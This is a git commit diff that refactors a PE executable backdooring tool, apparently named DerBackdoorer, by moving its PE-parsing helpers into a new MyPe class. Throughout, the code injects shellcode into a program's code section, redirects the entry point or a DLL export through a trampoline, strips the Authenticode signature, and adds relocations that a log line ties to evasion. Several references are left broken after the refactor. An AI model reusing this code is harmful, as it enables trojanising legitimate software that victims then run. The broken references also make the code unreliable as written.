refactor: split away low level pe functions into mype from derbackdoorer

This commit is contained in:
Dobin
2024-02-27 21:46:30 +00:00
parent e7aa6c84c8
commit ac31152b01
2 changed files with 237 additions and 209 deletions
+39 -209
View File
@@ -26,23 +26,12 @@ from enum import IntEnum
import logging
from helper import hexdump
from derbackdoorer.mype import MyPe
logger = logging.getLogger("DerBackdoorer")
class PeBackdoor:
IMAGE_DIRECTORY_ENTRY_SECURITY = 4
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
IMAGE_DIRECTORY_ENTRY_TLS = 9
IMAGE_REL_BASED_ABSOLUTE = 0
IMAGE_REL_BASED_HIGH = 1
IMAGE_REL_BASED_LOW = 2
IMAGE_REL_BASED_HIGHLOW = 3
IMAGE_REL_BASED_HIGHADJ = 4
IMAGE_REL_BASED_DIR64 = 10
class SupportedSaveModes(IntEnum):
WithinCodeSection = 1
NewPESection = 2
@@ -64,31 +53,12 @@ class PeBackdoor:
}
def __init__(self):
self.pe = None
self.mype = None
self.shellcodeOffset = 0 # from start of the file
self.shellcodeOffsetRel = 0 # from start of the code section
self.backdoorOffsetRel = 0 # from start of the code section
self.createdTlsSection = False # TODO remove?
def openFile(self):
self.pe = pefile.PE(self.infile, fast_load=False)
self.pe.parse_data_directories()
self.ptrSize = 4
self.arch = self.getFileArch()
if self.arch == 'x64':
self.ptrSize = 8
def getFileArch(self):
if self.pe.FILE_HEADER.Machine == 0x014c:
return "x86"
if self.pe.FILE_HEADER.Machine == 0x8664:
return "x64"
raise Exception("Unsupported PE file architecture.")
def backdoor(self, saveMode, runMode, shellcode, infile, outfile):
self.saveMode = saveMode
self.runMode = runMode
@@ -112,8 +82,8 @@ class PeBackdoor:
#if len(self.options['ioc']) > 0:
# self.shellcodeData += b'\x00\x00\x00\x00' + self.options['ioc'].encode() + b'\x00\x00\x00\x00'
self.openFile()
self.mype = MyPe()
self.mype.openFile(self.infile)
if not self.injectShellcode():
logger.error('Could not inject shellcode into PE file!')
@@ -123,7 +93,7 @@ class PeBackdoor:
logger.error('Could not setup shellcode launch within PE file!')
return False
remainingRelocsSize = self.getRemainingRelocsDirectorySize()
remainingRelocsSize = self.mype.getRemainingRelocsDirectorySize()
numOfRelocs = int((remainingRelocsSize - 8) / 2)
logger.debug(f'Still can add up to {numOfRelocs} relocs tampering with shellcode for evasion purposes.')
@@ -131,7 +101,7 @@ class PeBackdoor:
# self.removeSignature()
logger.debug('Saving modified PE file...')
self.pe.write(self.outfile)
self.mype.write(self.outfile)
return True
@@ -143,38 +113,28 @@ class PeBackdoor:
raise
finally:
self.pe.close()
self.mype.pe.close()
def removeSignature(self):
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
size = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
addr = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
size = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
self.pe.set_bytes_at_rva(addr, b'\x00' * size)
self.mype.pe.set_bytes_at_rva(addr, b'\x00' * size)
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
logger.info('PE executable Authenticode signature removed.')
return True
def _get_code_section(self):
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
for sect in self.pe.sections:
if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.Misc_VirtualSize:
return sect
return None
def injectShellcode(self):
if self.saveMode == int(PeBackdoor.SupportedSaveModes.WithinCodeSection):
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
sect = self._get_code_section()
sect = self.mype.get_code_section()
if sect == None:
logger.error('Could not find code section in input PE file!')
return False
sect_name = sect.Name.decode().rstrip('\x00')
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
if sect == None:
return False
logger.debug(f'Backdooring {sect_name} section.')
if sect_size < len(self.shellcodeData):
@@ -186,22 +146,22 @@ Code section size : {sect_size}
offset = int((sect_size - len(self.shellcodeData)) / 2)
logger.debug(f'Inserting shellcode into 0x{offset:x} offset.')
self.pe.set_bytes_at_offset(offset, self.shellcodeData)
self.mype.pe.set_bytes_at_offset(offset, self.shellcodeData)
self.shellcodeOffset = offset
self.shellcodeOffsetRel = offset - sect.PointerToRawData
rva = self.pe.get_rva_from_offset(offset)
rva = self.mype.pe.get_rva_from_offset(offset)
p = sect.PointerToRawData + sect.SizeOfRawData - 64
graph = textwrap.indent(f'''
Beginning of {sect_name}:
{textwrap.indent(hexdump(self.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
{textwrap.indent(hexdump(self.mype.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
Injected shellcode in the middle of {sect_name}:
{hexdump(self.shellcodeData, offset, 64)}
Trailing {sect_name} bytes:
{hexdump(self.pe.get_data(self.pe.get_rva_from_offset(p)), p, 64)}
{hexdump(self.mype.pe.get_data(self.mype.pe.get_rva_from_offset(p)), p, 64)}
''', '\t')
logger.info(f'Shellcode injected into existing code section at RVA 0x{rva:x}')
@@ -211,8 +171,8 @@ Trailing {sect_name} bytes:
def setupShellcodeEntryPoint(self):
if self.runMode == int(PeBackdoor.SupportedRunModes.ModifyOEP):
rva = self.pe.get_rva_from_offset(self.shellcodeOffset)
self.pe.OPTIONAL_HEADER.AddressOfEntryPoint = rva
rva = self.mype.pe.get_rva_from_offset(self.shellcodeOffset)
self.mype.set_entrypoint(rva)
logger.info(f'Address Of Entry Point changed to: RVA 0x{rva:x}')
return True
@@ -238,27 +198,27 @@ Trailing {sect_name} bytes:
logger.critical('Export name not specified! Specify DLL Exported function name to hijack with -e/--export')
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
self.pe.parse_data_directories(directories=d)
self.mype.pe.parse_data_directories(directories=d)
if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
if self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
logger.error('No DLL exports found! Specify existing DLL Exported function with -e/--export!')
return -1
exports = [(e.ordinal, dec(e.name)) for e in self.pe.DIRECTORY_ENTRY_EXPORT.symbols]
exports = [(e.ordinal, dec(e.name)) for e in self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols]
for export in exports:
logger.debug(f'DLL Export: {export[0]} {export[1]}')
if export[1].lower() == exportName.lower():
addr = self.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
addr = self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
logger.info(f'Found DLL Export "{exportName}" at RVA 0x{addr:x} . Attempting to hijack it...')
return addr
return -1
def backdoorEntryPoint(self, addr = -1):
imageBase = self.pe.OPTIONAL_HEADER.ImageBase
self.shellcodeAddr = self.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
imageBase = self.mype.pe.OPTIONAL_HEADER.ImageBase
self.shellcodeAddr = self.mype.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
cs = None
ks = None
@@ -275,16 +235,16 @@ Trailing {sect_name} bytes:
ep = addr
if addr == -1:
ep = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
ep = self.mype.pe.OPTIONAL_HEADER.AddressOfEntryPoint
ep_ava = ep + self.pe.OPTIONAL_HEADER.ImageBase
data = self.pe.get_memory_mapped_image()[ep:ep+128]
ep_ava = ep + self.mype.pe.OPTIONAL_HEADER.ImageBase
data = self.mype.pe.get_memory_mapped_image()[ep:ep+128]
offset = 0
logger.debug('Entry Point disasm:')
disasmData = self.pe.get_memory_mapped_image()
output = self.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
disasmData = self.mype.pe.get_memory_mapped_image()
output = self.mype.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
# store offset... by calculating it first FUCK
section = self._get_code_section()
@@ -293,15 +253,15 @@ Trailing {sect_name} bytes:
if output != 0:
logger.debug('Now disasm looks like follows: ')
disasmData = self.pe.get_memory_mapped_image()
self.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
disasmData = self.mype.pe.get_memory_mapped_image()
self.mype.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
logger.debug('\n[>] Inserted backdoor code: ')
for instr in cs.disasm(bytes(self.compiledTrampoline), output):
self._printInstr(instr, 1)
self.mype.printInstr(instr, 1)
logger.debug('')
self.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
self.mype.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
else:
logger.error('Did not find suitable candidate for Entry Point branch hijack!')
@@ -366,14 +326,14 @@ Trailing {sect_name} bytes:
if len(trampoline) > 0:
encoding, count = ks.asm(trampoline)
self.pe.set_bytes_at_rva(instr.address, bytes(encoding))
self.mype.pe.set_bytes_at_rva(instr.address, bytes(encoding))
relocs = (
instr.address + addrOffset,
)
pageRva = 4096 * int((instr.address + addrOffset) / 4096)
self.addImageBaseRelocations(pageRva, relocs)
self.mype.addImageBaseRelocations(pageRva, relocs)
self.trampoline = trampoline
self.compiledTrampoline = encoding
@@ -384,136 +344,6 @@ Trailing {sect_name} bytes:
return 0
def disasmBytes(self, cs, ks, disasmData, startOffset, length, callback = None, maxDepth = 5):
return self._disasmBytes(cs, ks, disasmData, startOffset, length, callback, maxDepth, 1)
def _printInstr(self, instr, depth):
_bytes = [f'{x:02x}' for x in instr.bytes[:8]]
if len(instr.bytes) < 8:
_bytes.extend([' ',] * (8 - len(instr.bytes)))
instrBytes = ' '.join([f'{x}' for x in _bytes])
logger.debug('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}')
def _disasmBytes(self, cs, ks, disasmData, startOffset, length, callback, maxDepth, depth):
if depth > maxDepth:
return 0
data = disasmData[startOffset:startOffset + length]
for instr in cs.disasm(data, startOffset):
self._printInstr(instr, depth)
if len(instr.operands) == 1:
operand = instr.operands[0]
if operand.type == capstone.CS_OP_IMM:
logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:x}')
logger.debug('')
if callback:
out = callback(cs, ks, disasmData, startOffset, instr, operand, depth)
if out != 0:
return out
if depth + 1 <= maxDepth:
out = self._disasmBytes(cs, ks, disasmData, operand.value.imm, length, callback, maxDepth, depth + 1)
return out
if not callback:
return 1
return 0
def addImageBaseRelocations(self, pageRva, relocs):
relocType = PeBackdoor.IMAGE_REL_BASED_HIGHLOW
if self.arch == 'x64':
relocType = PeBackdoor.IMAGE_REL_BASED_DIR64
if not self.pe.has_relocs():
logger.error("No .reloc section")
raise(Exception("No .reloc section"))
else:
self.addRelocs(pageRva, relocs)
def getSectionIndexByName(self, name):
i = 0
for sect in self.pe.sections:
if sect.Name.decode().lower().startswith(name.lower()):
return i
i += 1
logger.error(f'Could not find section with name {name}!')
return -1
def getSectionIndexByDataDir(self, dirIndex):
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress
i = 0
for sect in self.pe.sections:
if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize):
return i
i += 1
logger.error(f'Could not find section with directory index {dirIndex}!')
return -1
def getRemainingRelocsDirectorySize(self):
if self.createdTlsSection:
return 0x1000
relocsIndex = self.getSectionIndexByDataDir(PeBackdoor.IMAGE_DIRECTORY_ENTRY_BASERELOC)
out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize
return out
def addRelocs(self, pageRva, relocs):
assert pageRva > 0
imageBaseRelocType = PeBackdoor.IMAGE_REL_BASED_HIGHLOW
if self.arch == 'x64':
imageBaseRelocType = PeBackdoor.IMAGE_REL_BASED_DIR64
logger.info('Adding new relocations to backdoored PE file...')
relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
relocsIndex = self.getSectionIndexByDataDir(PeBackdoor.IMAGE_DIRECTORY_ENTRY_BASERELOC)
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
sizeOfReloc = 2 * len(relocs) + 2 * 4
if sizeOfReloc >= self.getRemainingRelocsDirectorySize():
self.logger.warn('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.')
self.logger.warn(' Will try disabling relocations on output file. Expect corrupted executable though!')
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0
return
relocDirRva = self.pe.sections[relocsIndex].VirtualAddress
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc
# VirtualAddress
self.pe.set_dword_at_rva(addr + relocsSize, pageRva)
# SizeOfBlock
self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
logger.debug(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}')
i = 0
for reloc in relocs:
reloc_offset = (reloc - pageRva)
reloc_type = imageBaseRelocType << 12
relocWord = (reloc_type | reloc_offset)
self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
logger.debug(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}')
i += 1
def opts(argv):
epilog = '''
+198
View File
@@ -0,0 +1,198 @@
import pefile
import capstone
from enum import IntEnum
import logging
from helper import hexdump
logger = logging.getLogger("MyPe")
class MyPe():
IMAGE_DIRECTORY_ENTRY_SECURITY = 4
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
IMAGE_DIRECTORY_ENTRY_TLS = 9
IMAGE_REL_BASED_ABSOLUTE = 0
IMAGE_REL_BASED_HIGH = 1
IMAGE_REL_BASED_LOW = 2
IMAGE_REL_BASED_HIGHLOW = 3
IMAGE_REL_BASED_HIGHADJ = 4
IMAGE_REL_BASED_DIR64 = 10
def __init__(self):
self.pe = None
def openFile(self, infile):
self.pe = pefile.PE(infile, fast_load=False)
self.pe.parse_data_directories()
self.ptrSize = 4
self.arch = self.getFileArch()
if self.arch == 'x64':
self.ptrSize = 8
def getFileArch(self):
if self.pe.FILE_HEADER.Machine == 0x014c:
return "x86"
if self.pe.FILE_HEADER.Machine == 0x8664:
return "x64"
raise Exception("Unsupported PE file architecture.")
def get_code_section(self):
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
for sect in self.pe.sections:
if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.Misc_VirtualSize:
return sect
return None
def getSectionIndexByDataDir(self, dirIndex):
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress
i = 0
for sect in self.pe.sections:
if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize):
return i
i += 1
logger.error(f'Could not find section with directory index {dirIndex}!')
return -1
def getRemainingRelocsDirectorySize(self):
relocsIndex = self.getSectionIndexByDataDir(MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize
return out
def getSectionIndexByName(self, name):
i = 0
for sect in self.pe.sections:
if sect.Name.decode().lower().startswith(name.lower()):
return i
i += 1
logger.error(f'Could not find section with name {name}!')
return -1
def addImageBaseRelocations(self, pageRva, relocs):
relocType = MyPe.IMAGE_REL_BASED_HIGHLOW
if self.arch == 'x64':
relocType = MyPe.IMAGE_REL_BASED_DIR64
if not self.pe.has_relocs():
logger.error("No .reloc section")
raise(Exception("No .reloc section"))
else:
self.addRelocs(pageRva, relocs)
def addRelocs(self, pageRva, relocs):
assert pageRva > 0
imageBaseRelocType = MyPe.IMAGE_REL_BASED_HIGHLOW
if self.arch == 'x64':
imageBaseRelocType = MyPe.IMAGE_REL_BASED_DIR64
logger.info('Adding new relocations to backdoored PE file...')
relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
relocsIndex = self.getSectionIndexByDataDir(MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
sizeOfReloc = 2 * len(relocs) + 2 * 4
if sizeOfReloc >= self.getRemainingRelocsDirectorySize():
self.logger.warn('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.')
self.logger.warn(' Will try disabling relocations on output file. Expect corrupted executable though!')
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0
return
relocDirRva = self.pe.sections[relocsIndex].VirtualAddress
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc
# VirtualAddress
self.pe.set_dword_at_rva(addr + relocsSize, pageRva)
# SizeOfBlock
self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
logger.debug(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}')
i = 0
for reloc in relocs:
reloc_offset = (reloc - pageRva)
reloc_type = imageBaseRelocType << 12
relocWord = (reloc_type | reloc_offset)
self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
logger.debug(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}')
i += 1
## Helpers
def get_entyrpoint(self) -> int:
return self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
def set_entrypoint(self, entrypoint: int):
self.pe.OPTIONAL_HEADER.AddressOfEntryPoint = entrypoint
def write(self, outfile: str):
self.pe.write(outfile)
def disasmBytes(self, cs, ks, disasmData, startOffset, length, callback = None, maxDepth = 5):
return self._disasmBytes(cs, ks, disasmData, startOffset, length, callback, maxDepth, 1)
def printInstr(self, instr, depth):
_bytes = [f'{x:02x}' for x in instr.bytes[:8]]
if len(instr.bytes) < 8:
_bytes.extend([' ',] * (8 - len(instr.bytes)))
instrBytes = ' '.join([f'{x}' for x in _bytes])
logger.debug('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}')
def _disasmBytes(self, cs, ks, disasmData, startOffset, length, callback, maxDepth, depth):
if depth > maxDepth:
return 0
data = disasmData[startOffset:startOffset + length]
for instr in cs.disasm(data, startOffset):
self._printInstr(instr, depth)
if len(instr.operands) == 1:
operand = instr.operands[0]
if operand.type == capstone.CS_OP_IMM:
logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:x}')
logger.debug('')
if callback:
out = callback(cs, ks, disasmData, startOffset, instr, operand, depth)
if out != 0:
return out
if depth + 1 <= maxDepth:
out = self._disasmBytes(cs, ks, disasmData, operand.value.imm, length, callback, maxDepth, depth + 1)
return out
if not callback:
return 1
return 0